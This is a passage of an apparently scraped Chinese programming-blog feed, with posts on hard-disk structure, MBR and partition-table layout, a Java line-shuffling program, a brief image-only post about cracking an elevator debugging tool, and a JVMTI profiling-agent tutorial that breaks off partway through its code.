<p><strong>5、数据(DATA)区</strong> </p>
<p>&nbsp;&nbsp;&nbsp; 数据区是真正意义上的数据存储的地方，位于DIR区之后，占据硬盘上的大部分数据空间。</p>
<p>&nbsp;</p>
<p><strong>一、硬盘的物理结构： </strong></p>
<p>　&nbsp;&nbsp;&nbsp;
硬盘存储数据是根据电、磁转换原理实现的。硬盘由一个或几个表面镀有磁性物质的金属或玻璃等物质盘片以及盘片两面所安装的磁头和相应的控制电路组成(图
1)，其中盘片和磁头密封在无尘的金属壳中。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/sallay/EntryImages/20081231/a1.gif" /></p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;
硬盘工作时，盘片以设计转速高速旋转，设置在盘片表面的磁头则在电路控制下径向移动到指定位置然后将数据存储或读取出来。当系统向硬盘写入数据时，磁头中
&#8220;写数据&#8221;电流产生磁场使盘片表面磁性物质状态发生改变，并在写电流磁场消失后仍能保持，这样数据就存储下来了；当系统从硬盘中读数据时，磁头经过盘片指
定区域，盘片表面磁场使磁头产生感应电流或线圈阻抗产生变化，经相关电路处理后还原成数据。因此只要能将盘片表面处理得更平滑、磁头设计得更精密以及尽量
提高盘片旋转速度，就能造出容量更大、读写数据速度更快的硬盘。这是因为盘片表面处理越平、转速越快就能越使磁头离盘片表面越近，提高读、写灵敏度和速
度；磁头设计越小越精密就能使磁头在盘片上占用空间越小，使磁头在一张盘片上建立更多的磁道以存储更多的数据。</p>
<p>&nbsp;</p>
<p><strong>二、硬盘的逻辑结构：</strong></p>
<p>&nbsp;&nbsp;&nbsp;
硬盘由很多盘片(platter)组成，每个盘片的每个面都有一个读写磁头。如果有N个盘片。就有2N个面，对应2N个磁头(Heads)，从0、1、2
开始编号。每个盘片被划分成若干个同心圆磁道(逻辑上的，是不可见的。)每个盘片的划分规则通常是一样的。这样每个盘片的半径均为固定值R的同心圆再逻辑
上形成了一个以电机主轴为轴的柱面(Cylinders)，从外至里编号为0、1、2&#8230;&#8230;每个盘片上的每个磁道又被划分为几十个扇区(Sector)，通
常的容量是512byte，并按照一定规则编号为1、2、3&#8230;&#8230;形成Cylinders&#215;Heads&#215;Sector个扇区。这三个参数即是硬盘的物理参
数。我们下面的很多实践需要深刻理解这三个参数的意义。<br />
&nbsp;&nbsp;&nbsp;
硬盘存储数据是根据电、磁转换原理实现的。硬盘由一个或几个表面镀有磁性物质的金属或玻璃等物质盘片以及盘片两面所安装的磁头和相应的控制电路组成(图
1)，其中盘片和磁头密封在无尘的金属壳中。</p>
<p>&nbsp;</p>
<p><strong>三、磁盘引导原理：</strong></p>
<p><font color="#3366ff">3.1 MBR(master boot record)扇区：</font></p>
<p>　　计算机在按下power键以后，开始执行主板bios程序。进行完一系列检测和配置以后。开始按bios中设定的系统引导顺序引导系统。假定现
在是硬盘。Bios执行完自己的程序后如何把执行权交给硬盘呢。交给硬盘后又执行存储在哪里的程序呢。其实，称为mbr的一段代码起着举足轻重的作用。
MBR(master boot
record),即主引导记录，有时也称主引导扇区。位于整个硬盘的0柱面0磁头1扇区(可以看作是硬盘的第一个扇区)，bios在执行自己固有的程序以
后就会jump到mbr中的第一条指令。将系统的控制权交由mbr来执行。在总共512byte的主引导记录中，MBR的引导程序占了其中的前446个字
节(偏移0H~偏移1BDH)，随后的64个字节(偏移1BEH~偏移1FDH)为DPT(Disk
PartitionTable，硬盘分区表)，最后的两个字节&#8220;55 AA&#8221;(偏移1FEH~偏移1FFH)是分区有效结束标志。</p>
<p>　　MBR不随操作系统的不同而不同，意即不同的操作系统可能会存在相同的MBR，即使不同，MBR也不会夹带操作系统的性质。具有公共引导的特
性。</p>
<p>　　我们来分析一段mbr。下面是用winhex查看的一块希捷120GB硬盘的mbr。<br />
</p>
<p align="center"><strong>MBR扇区代码 </strong></p>
<p align="center"><img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/sallay/EntryImages/20081231/a2.gif" height="633" width="630" /></p>
<p align="center">&nbsp;</p>
<p align="left">&nbsp;&nbsp;&nbsp;
你的硬盘的MBR引导代码可能并非这样。不过即使不同，所执行的功能大体是一样的。这里找wowocock关于磁盘mbr的反编译，已加了详细的注释，感
兴趣可以细细研究一下。</p>
<p><strong>&nbsp;&nbsp;&nbsp; </strong>我们看DPT部分。操作系统为了便于用户对磁盘的管理。加入了磁盘分区的概念。即将一块磁盘逻辑划分为
几块。磁盘分区数目的多少只受限于C～Z的英文字母的数目，在上图DPT共64个字节中如何表示多个分区的属性呢?microsoft通过链接的方法解决
了这个问题。在DPT共64个字节中，以16个字节为分区表项单位描述一个分区的属性。也就是说，第一个分区表项描述一个分区的属性，一般为基本分区。第
二个分区表项描述除基本分区外的其余空间，一般而言，就是我们所说的扩展分区。这部分的大体说明见表1。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/sallay/EntryImages/20081231/a3.gif" /></p>
<p align="center"><strong>&nbsp; DPT代码分析 </strong></p>
<p>&nbsp;
注：上表中的超过1字节的数据都以实际数据显示，就是按高位到地位的方式显示。存储时是按低位到高位存储的。两者表现不同，请仔细看清楚。以后出现的表，
图均同。</p>
<p>　　也可以在winhex中看到这些参数的意义：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/sallay/EntryImages/20081231/a4.gif" height="963" width="422" /></p>
<p><strong>&nbsp;&nbsp;&nbsp; 说明：</strong>
每个分区表项占用16个字节，假定偏移地址从0开始。如图3的分区表项3。分区表项4同分区表项3。</p>
<p>　　1、0H偏移为活动分区是否标志，只能选00H和80H。80H为活动，00H为非活动。其余值对microsoft而言为非法值。</p>
<p>　　2、重新说明一下(这个非常重要)：大于1个字节的数被以低字节在前的存储格式格式(little endian
format)或称反字节顺序保存下来。低字节在前的格式是一种保存数的方法，这样，最低位的字节最先出现在十六进制数符号中。例如，相对扇区数字段的值
0x3F000000的低字节在前表示为0x0000003F。这个低字节在前的格式数的十进制数为63。</p>
<p>　　3、系统在分区时，各分区都不允许跨柱面，即均以柱面为单位，这就是通常所说的分区粒度。有时候我们分区是输入分区的大小为7000M，分出来
却是6997M，就是这个原因。
偏移2H和偏移6H的扇区和柱面参数中,扇区占6位(bit)，柱面占10位(bit)，以偏移6H为例，其低6位用作扇区数的二进制表示。其高两位做柱
面数10位中的高两位，偏移7H组成的8位做柱面数10位中的低8位。由此可知，实际上用这种方式表示的分区容量是有限的，柱面和磁头从0开始编号,扇区
从1开始编号,所以最多只能表示1024个柱面&#215;63个扇区&#215;256个磁头&#215;512byte=8455716864byte。即通常的8.4GB(实际上
应该是7.8GB左右)限制。实际上磁头数通常只用到255个(由汇编语言的寻址寄存器决定),即使把这3个字节按线性寻址，依然力不从心。
在后来的操作系统中，超过8.4GB的分区其实已经不通过C/H/S的方式寻址了。而是通过偏移CH～偏移FH共4个字节32位线性扇区地址来表示分区所
占用的扇区总数。可知通过4个字节可以表示2^32个扇区，即2TB=2048GB，目前对于大多数计算机而言，这已经是个天文数字了。在未超过
8.4GB的分区上，C/H/S的表示方法和线性扇区的表示方法所表示的分区大小是一致的。也就是说，两种表示方法是协调的。即使不协调，也以线性寻址为
准。(可能在某些系统中会提示出错)。超过8.4GB的分区结束C/H/S一般填充为FEH FFH
FFH。即C/H/S所能表示的最大值。有时候也会用柱面对1024的模来填充。不过这几个字节是什么其实都无关紧要了。</p>
<p>　　虽然现在的系统均采用线性寻址的方式来处理分区的大小。但不可跨柱面的原则依然没变。本分区的扇区总数加上与前一分区之间的保留扇区数目依然必
须是柱面容量的整数倍。(保留扇区中的第一个扇区就是存放分区表的MBR或虚拟MBR的扇区，分区的扇区总数在线性表示方式上是不计入保留扇区的。如果是
第一个分区，保留扇区是本分区前的所有扇区。</p>
<p>　　附：分区表类型标志如图4</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/sallay/EntryImages/20081231/a5.gif" height="630" width="358" /></p>
<p forimg="1" align="left">&nbsp;</p>
<p forimg="1" align="left"><font color="#3366ff">3.2 扩展分区</font></p>
<p forimg="1" align="left">&nbsp; 扩展分区中的每个逻辑驱动器都存在一个类似于MBR的扩展引导记录( Extended
Boot Record,
EBR)，也有人称之为虚拟mbr或扩展mbr，意思是一样的。扩展引导记录包括一个扩展分区表和该扇区的标签。扩展引导记录将记录只包含扩展分区中每个
逻辑驱动器的第一个柱面的第一面的信息。一个逻辑驱动器中的引导扇区一般位于相对扇区32或63。但是，如果磁盘上没有扩展分区，那么就不会有扩展引导记
录和逻辑驱动器。第一个逻辑驱动器的扩展分区表中的第一项指向它自身的引导扇区。第二项指向下一个逻辑驱动器的EBR。如果不存在进一步的逻辑驱动器，第
二项就不会使用，而且被记录成一系列零。如果有附加的逻辑驱动器，那么第二个逻辑驱动器的扩展分区表的第一项会指向它本身的引导扇区。第二个逻辑驱动器的
扩展分区表的第二项指向下一个逻辑驱动器的EBR。扩展分区表的第三项和第四项永远都不会被使用。</p>
<p forimg="1" align="left">&nbsp;&nbsp;&nbsp; 通过一幅4分区的磁盘结构图可以看到磁盘的大致组织形式。如图5</p>
<p forimg="1" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/sallay/EntryImages/20081231/a6.gif" /></p>
<p forimg="1" align="left">&nbsp;&nbsp;&nbsp;
关于扩展分区，如图6所示，扩展分区中逻辑驱动器的扩展引导记录是一个连接表。该图显示了一个扩展分区上的三个逻辑驱动器，说明了前面的逻辑驱动器和最后
一个逻辑驱动器之间在扩展分区表中的差异。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/sallay/EntryImages/20081231/a7.gif" height="535" width="316" /></p>
<p forimg="1" align="left">&nbsp;&nbsp;
除了扩展分区上最后一个逻辑驱动器外，表2中所描述的扩展分区表的格式在每个逻辑驱动器中都是重复的：第一个项标识了逻辑驱动器本身的引导扇区，第二个项
标识了下一个逻辑驱动器的EBR。最后一个逻辑驱动器的扩展分区表只会列出它本身的分区项。最后一个扩展分区表的第二个项到第四个项被使用。</p>
<p forimg="1" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/sallay/EntryImages/20081231/a8.gif" /></p>
<p forimg="1" align="left">&nbsp;</p>
<p forimg="1" align="left">&nbsp;&nbsp;
&nbsp;扩展分区表项中的相对扇区数字段所显示的是从扩展分区开始到逻辑驱动器中第一个扇区的位移的字节数。总扇区数字段中的数是指组成该逻辑驱动器的扇区数
目。总扇区数字段的值等于从扩展分区表项所定义的引导扇区到逻辑驱动器末尾的扇区数。</p>
<p forimg="1" align="left">&nbsp;&nbsp;&nbsp;
有时候在磁盘的末尾会有剩余空间，剩余空间是什么呢？我们前面说到，分区是以1柱面的容量为分区粒度的，那么如果磁盘总空间不是整数个柱面的话，不够一个
柱面的剩下的空间就是剩余空间了，这部分空间并不参与分区，所以一般无法利用。照道理说，磁盘的物理模式决定了磁盘的总容量就应该是整数个柱面的容量，为
什么会有不够一个柱面的空间呢。在我的理解看来，本来现在的磁盘为了更大的利用空间，一般在物理上并不是按照外围的扇区大于里圈的扇区这种管理方式，只是
为了与操作系统兼容而抽象出来CHS。可能其实际空间容量不一定正好为整数个柱面的容量。</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/319344.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2010-04-25 22:55 <a href="http://www.blogjava.net/galaxyp/archive/2010/04/25/319344.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java “乱序”</title><link>http://www.blogjava.net/galaxyp/archive/2010/04/23/319179.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Fri, 23 Apr 2010 02:32:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2010/04/23/319179.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/319179.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2010/04/23/319179.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/319179.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/319179.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; 不知道这样的叫法对不对，所以对乱序两字加了个引号。代码目的是把文本文件里以行为单位的数据随机排序后存到另一个文件，速度还可以，所贴上来。测试30万行处理时间为550ms以内。<br />
<br />
import java.io.*;<br />
import java.util.Calendar;<br />
public class SortTxt {<br />
&nbsp;&nbsp;&nbsp; public static void main(String[] args){<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Calendar frontDate =Calendar.getInstance();<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; try{<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; FileInputStream fis = new FileInputStream("c:/a.txt");<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; BufferedWriter wr = new BufferedWriter(new FileWriter("c:/b.txt"));<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; byte[] buf = new byte[fis.available()];<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fis.read(buf,0,fis.available());<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; String str = new String(buf);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fis.close();<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; String[] array = str.split("\r\n");<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; StringBuffer sb = new StringBuffer();<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb = randomSortString(array);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; wr.write(sb.toString());<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; wr.flush();<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; wr.close();<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } catch (Exception e) {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Calendar rearDate = Calendar.getInstance();<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.out.println("run time: "+(rearDate.getTimeInMillis() - frontDate.getTimeInMillis())+" ms");<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public static StringBuffer randomSortString(String[] strs) {&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int size = strs.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StringBuffer sb = new StringBuffer();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i=0;i&lt;strs.length;i++){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int rd = (int)(Math.random()*size);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sb.append(strs[rd]+"\r\n");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strs[rd] = strs[size-1];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; size--;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return sb;<br />
&nbsp;&nbsp;&nbsp; }<br />
}<br />
<br />
<br />
<img src ="http://www.blogjava.net/galaxyp/aggbug/319179.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2010-04-23 10:32 <a href="http://www.blogjava.net/galaxyp/archive/2010/04/23/319179.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CADI 2.92 电梯调试软件破解</title><link>http://www.blogjava.net/galaxyp/archive/2009/11/25/303606.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 25 Nov 2009 05:50:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2009/11/25/303606.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/303606.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2009/11/25/303606.html#Feedback</comments><slash:comments>17</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/303606.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/303606.html</trackback:ping><description><![CDATA[<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一款java编写的电梯调试软件，只知道这个。贴上来做个备忘！<br />
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/cadi_1.jpg" width="355" height="266" /><br />
<br />
<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/cadi_2.jpg" width="630" height="480" /><br />
<img src ="http://www.blogjava.net/galaxyp/aggbug/303606.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2009-11-25 13:50 <a href="http://www.blogjava.net/galaxyp/archive/2009/11/25/303606.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用 Java 虚拟机工具接口（JVMTI）创建调试和分析代理</title><link>http://www.blogjava.net/galaxyp/archive/2009/03/11/259209.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 11 Mar 2009 12:35:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2009/03/11/259209.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/259209.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2009/03/11/259209.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/259209.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/259209.html</trackback:ping><description><![CDATA[<p>Java
虚拟机工具接口（Java Virtual Machine Tool
Interface，JVMTI）提供了一种编程接口，允许软件开发人员创建软件代理以监视和控制 Java 编程语言应用程序。JVMTI 是
Java 2 Software Development Kit (SDK), Standard Edition, 版本 1.5.0
中的一种新增功能。它取代了 Java Virtual Machine Profiling Interface (JVMPI)，从版本 1.1
起即作为 Java 2 SDK 的一种实验功能包括在内。在 <a href="http://www.jcp.org/en/jsr/detail?id=163">JSR-163</a> 中对 JVMTI 进行了有关说明。</p>
<p>本文阐述如何使用 JVMTI 创建 Java 应用程序的调试和分析工具。这种工具（也称作代理）在应用程序中发生事件时，能够使用该接口提供的功能对事件通知进行注册，并查询和控制该应用程序。<a href="http://java.sun.com/j2se/1.5.0/docs/guide/jvmti/jvmti.html">这里</a>提供了 JVMTI 的文档资料。JVMTI 代理对于调试和调优应用程序十分有用。它可以对应用程序的各个方面予以说明，如内存分配情况、CPU 利用情况及锁争夺情况。</p>
<p>&nbsp;</p>
<blockquote>尽管 JVMPI 现在仍处于实验阶段，很多 Java 技术开发人员已经在使用它了，而且已经把它应用到多种市场上提供的 Java 应用程序 Profiler。<strong>请注意，极力鼓励开发人员使用 JVMTI 而不使用 JVMPI。JVMPI 在不久的将来将被废止。</strong></blockquote>
<p>&nbsp;</p>
<p>JVMTI 在多个方面改进了 JVMPI 的功能和性能。例如：</p>
<ul>
    <li>JVMTI 依赖于每个事件的回调。这比 JVMPI 设计使用需要编组和取消编组的事件结构更有效。 </li>
    <li>JVMTI 包含四倍于 JVMPI 的函数（包括用于获取关于变量、字段、方法和类的信息的更多函数）。有关 JVMTI 函数的完整索引，请参见<a href="http://java.sun.com/j2se/1.5.0/docs/guide/jvmti/jvmti.html#FunctionSection">函数索引</a>页。 </li>
    <li>JVMTI 比 JVMPI 提供更多类型的事件通知，包括异常事件、字段访问和修改事件、断点和单步骤事件等。 </li>
    <li>有些从未被充分利用的 JVMPI 事件，如 Arena 的 new 和 delete，或者通过字节码工具很容易就能获得的内容，或者 JVMTI 函数本身（如 heap dump 和 object allocation）往往被 丢掉。 对这些事件的描述位于<a href="http://java.sun.com/j2se/1.5.0/docs/guide/jvmti/jvmti.html#EventIndex">事件索引</a>页。 </li>
    <li>JVMTI 是基于功能的，而 JVMPI 对于相应性能影响却是&#8220;要么全有，要么全无&#8221;。 </li>
    <li>JVMPI 堆功能不可伸缩。 </li>
    <li>JVMPI 没有错误返回信息。 </li>
    <li>JVMPI 在 VM 实现方面具有很强的侵入性，容易导致维护问题和性能受损。 </li>
    <li>JVMPI 是个实验产品，不久将废止。 </li>
</ul>
<p>&nbsp;</p>
<p>在本文的以下部分，我们介绍一个简单代理，它使用 JVMTI 函数从 Java 应用程序提取信息。 代理的编写必须使用本地代码。这里给出的示例代理是使用 C 语言编写的。您可以<a href="http://gceclub.sun.com.cn/staticcontent/html/2004-07-29/SampleJVMTIAgent.c">于此下载完整的示例代理代码</a>。
下面几段介绍如何初始化一个代理，以及代理如何使用 JVMTI 函数提取关于 Java
应用程序的信息，以及如何编译和运行代理。此示例代码和编译步骤特定于 UNIX 环境，但是经过修改后也可用于
Windows。这里介绍的代理可用于在任何 Java 应用程序中分析线程和确定 JVM 内存使用情况。</p>
<p>这里包含一个用 Java 语言编写的简单程序，称作 <em>SimpleThread.java</em>，并可<a href="http://gceclub.sun.com.cn/staticcontent/html/2004-07-29/ThreadSample.java">从这里下载</a>。我们使用 <em>ThreadSample.java</em> 演示此代理的预期输出。</p>
<p>JVMTI 的功能很多，在此无法详述；但本文中的代码可以提供一个出发点，让您去开发符合自己特定需求的分析工具。</p>
<p><strong>代理初始化</strong></p>
<p>本节介绍用于初始化代理的代码。首先，代理必须包括 <code><font face="新宋体">jvmti.h</font></code> 文件，语句为 <code><font face="新宋体">#include &lt;jvmti.h&gt;</font></code>。</p>
<p>另外，代理必须包含一个名为<code><font face="新宋体"> Agent_OnLoad</font></code> 的函数，加载库时要调用这一函数。<code><font face="新宋体">Agent_OnLoad</font></code> 函数用于在初始化 Java virtual machine (JVM) 之前设置所需的功能。<code><font face="新宋体">Agent_OnLoad</font></code> 签名如下所示：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre> JNIEXPORT jint JNICALL Agent_OnLoad(JavaVM *jvm, char *options, void *reserved) {<br />
            ...<br />
            /* We return JNI_OK to signify success */<br />
            return JNI_OK;<br />
            }<br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>在我们的示例代码中，我们必须为将要使用的 JVMTI 函数和事件启用多种功能。一般情况下均需（在某些情况下必须）将这些功能添加到 <code><font face="新宋体">Agent_OnLoad</font></code> 函数中。有关每种函数或事件所需的功能的说明，参见 <a href="http://java.sun.com/j2se/1.5.0/docs/guide/jvmti/jvmti.html">Java 虚拟机工具接口</a>页。例如，要使用<code><font face="新宋体"> InterruptThread</font></code> 函数，<code><font face="新宋体">can_signal_thread</font></code> 功能必须为 true。我们把示例所需的全部功能都设置为 true，然后使用 <code><font face="新宋体">AddCapabilities</font></code> 函数将它们添加到 JVMTI 环境中：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre> static jvmtiEnv *jvmti = NULL;<br />
            static jvmtiCapabilities capa;<br />
            jvmtiError error;<br />
            ...<br />
            (void)memset(&amp;capa, 0, sizeof(jvmtiCapabilities));<br />
            capa.can_signal_thread = 1;<br />
            capa.can_get_owned_monitor_info = 1;<br />
            capa.can_generate_method_entry_events = 1;<br />
            capa.can_generate_exception_events = 1;<br />
            capa.can_generate_vm_object_alloc_events = 1;<br />
            capa.can_tag_objects = 1;<br />
            error = (*jvmti)-&gt;AddCapabilities(jvmti, &amp;capa);<br />
            check_jvmti_error(jvmti, error, "Unable to get necessary JVMTI capabilities.");<br />
            ...<br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>此外，<code><font face="新宋体">Agent_OnLoad</font></code> 函数通常用于注册事件通知。在此示例中，我们在使用<code><font face="新宋体"> SetEventNotificationMode </font></code>函数的<code><font face="新宋体"> Agent_OnLoad</font></code> 中启用了多个事件，如 VM Initialization Event、VM Death Event 和 VM Object Allocation, 如下所示<code><font face="新宋体">：</font></code></p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre> error = (*jvmti)-&gt;SetEventNotificationMode<br />
            (jvmti, JVMTI_ENABLE, JVMTI_EVENT_VM_INIT, (jthread)NULL);<br />
            error = (*jvmti)-&gt;SetEventNotificationMode<br />
            (jvmti, JVMTI_ENABLE, JVMTI_EVENT_VM_DEATH, (jthread)NULL);<br />
            error = (*jvmti)-&gt;SetEventNotificationMode<br />
            (jvmti, JVMTI_ENABLE, JVMTI_EVENT_VM_OBJECT_ALLOC, (jthread)NULL);<br />
            check_jvmti_error(jvmti, error, "Cannot set event notification");<br />
            ...</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>注意，在此示例中，NULL 是作为第三个参数传递的，它可以全局地启用事件通知。如果需要，可以为某个特殊线程启用或禁用某些事件。</p>
<p>我们为其注册的每个事件还都必须具有一个指定的回调函数，当该事件发生时将调用它。例如，如果一个 <code><font face="新宋体">Exception</font></code> 类型的 JVMTI Event 发生，示例代理会将其发送到回调方法<code><font face="新宋体"> callbackException()</font></code> 中。</p>
<p>使用<code><font face="新宋体"> jvmtiEventCallbacks</font></code> 结构和<code><font face="新宋体"> SetEventCallbacks</font></code> 函数可以完成此任务：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>jvmtiEventCallbacks callbacks;<br />
            ...<br />
            (void)memset(&amp;callbacks, 0, sizeof(callbacks));<br />
            callbacks.VMInit = &amp;callbackVMInit; /* JVMTI_EVENT_VM_INIT */<br />
            callbacks.VMDeath = &amp;callbackVMDeath; /* JVMTI_EVENT_VM_DEATH */<br />
            callbacks.Exception = &amp;callbackException;/* JVMTI_EVENT_EXCEPTION */<br />
            callbacks.VMObjectAlloc = &amp;callbackVMObjectAlloc;/* JVMTI_EVENT_VM_OBJECT_ALLOC */<br />
            error = (*jvmti)-&gt;SetEventCallbacks(jvmti, &amp;callbacks,(jint)sizeof(callbacks));<br />
            check_jvmti_error(jvmti, error, "Cannot set jvmti callbacks");<br />
            ...<br />
            </pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>我们还将设置一个全局代理数据区域以在整个代码中使用。</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>/* Global agent data structure */<br />
            typedef struct {<br />
            /* JVMTI Environment */<br />
            jvmtiEnv *jvmti;<br />
            jboolean vm_is_started;<br />
            /* Data access Lock */<br />
            jrawMonitorID lock;<br />
            } GlobalAgentData;<br />
            static GlobalAgentData *gdata;</pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<!-- END VCD7 CODE SAMPLE COMPONENT  -->
<p>在<code><font face="新宋体"> Agent_OnLoad</font></code> 函数中，我们执行以下设置：</p>
<!-- BEGIN VCD7 CODE SAMPLE COMPONENT  -->
<table class="grey4" border="0" cellpadding="10" cellspacing="0">
    <tbody>
        <tr>
            <td>
            <pre>/* Setup initial global agent data area<br />
            * Use of static/extern data should be handled carefully here.<br />
            * We need to make sure that we are able to cleanup after<br />
            * ourselves so anything allocated in this library needs to be<br />
